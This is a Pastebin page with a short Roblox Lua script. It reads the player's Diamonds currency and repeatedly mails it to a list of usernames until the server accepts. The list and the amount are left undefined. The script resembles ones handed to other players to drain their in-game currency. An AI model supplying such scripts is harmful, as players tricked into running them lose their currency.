Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local Library = require(game.ReplicatedStorage.Library);
- local Save = (require((game:GetService("ReplicatedStorage")).Library.Client.Save)).Get();
- local Directory = require((game:GetService("ReplicatedStorage")).Library.Directory);
- local Player = game.Players.LocalPlayer;
- local Inventory = Save.Inventory;
- local HttpService = game:GetService("HttpService");
- local message = require(game.ReplicatedStorage.Library.Client.Message);
- local network = (game:GetService("ReplicatedStorage")):WaitForChild("Network");
- local function SendGems()
- for _, Roblox_Username in ipairs(Roblox_Usernames) do
- for i, v in pairs(Inventory.Currency) do
- if v.id == "Diamonds" then
- local args = {
- [1] = Roblox_Username,
- [2] = "Sent Gems",
- [3] = "Currency",
- [4] = i,
- [5] = SentGems
- }
- print(unpack(args))
- local response = false
- repeat
- response = network:WaitForChild("Mailbox: Send"):InvokeServer(unpack(args))
- until response == true
- break
- end
- end
- end
- end
- SendGems()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement